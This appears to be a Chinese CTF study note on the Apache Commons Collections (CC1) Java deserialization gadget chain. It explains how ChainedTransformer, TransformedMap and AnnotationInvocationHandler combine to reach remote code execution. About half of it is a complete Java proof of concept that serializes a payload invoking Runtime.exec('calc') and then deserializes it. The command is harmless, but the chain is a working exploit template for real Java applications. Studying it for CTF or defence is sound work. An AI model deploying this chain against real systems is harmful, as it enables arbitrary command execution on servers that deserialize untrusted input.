目录
CC链
CC链 Commons Collections --apache组织发布的开源库
里面主要对集合的增强以及扩展类 被广泛使用
组件,
HashMap HashTable ArrayList
总结CC链:
就是有反序列化入口,同时有cc库的情况下,如何进行rce或者文件读取.
前置知识
Transformer
特征:
1 是一个接口
2 有一个transformer方法,传入一个参数object,穿出一个参数object
3 有点像 转接头 扩展坞
-------
实现类
ConstantTransformer 常量转换器 传入任何值 传出的,都是固定值
InvokerTransformer 反射调用转换器 传入方法名,方法参数类型 方法参数 进行反射调用
ChainedTransformer 链式转换器 分别调用传入的transformer类数组的transformer方法
新的数据结构:
TransformerMap 分别可以对 key 和value 执行构造参数里面的 transformer转换
CC链:
1 ChainedTransformer 可以执行任意类的任意方法
2 将ChainedTransformer放入TransformerMap后,只要调用TransformerMap的put方法,就能够RCE
3 我们要找到一个类,它的属性可以设置为 TransformerMap ,然后它调用了这个属性的put方法
4 找到了AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法
5 setValue方法调用了 TransformerMap 的checkValue方法
6 checkValue方法调用了 Transformer.transformer 方法
最终完成了攻击链条.
都是基于transform的.
package com.ctf.main;
import com.ctfshow.util.SerializeUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class CtfMain {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {
Transformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("ctf");
HashMap hashMap = new HashMap();
hashMap.put("value","xxx");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,chainedTransformer);
// transformedMap.put("a","b");
// String data = (String) transformedMap.get("a");
// System.out.println(data);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//
Constructor ctor = cls.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class,transformedMap);
byte[] data = SerializeUtil.serialize(instance);
SerializeUtil.unSerialize(data);
}
}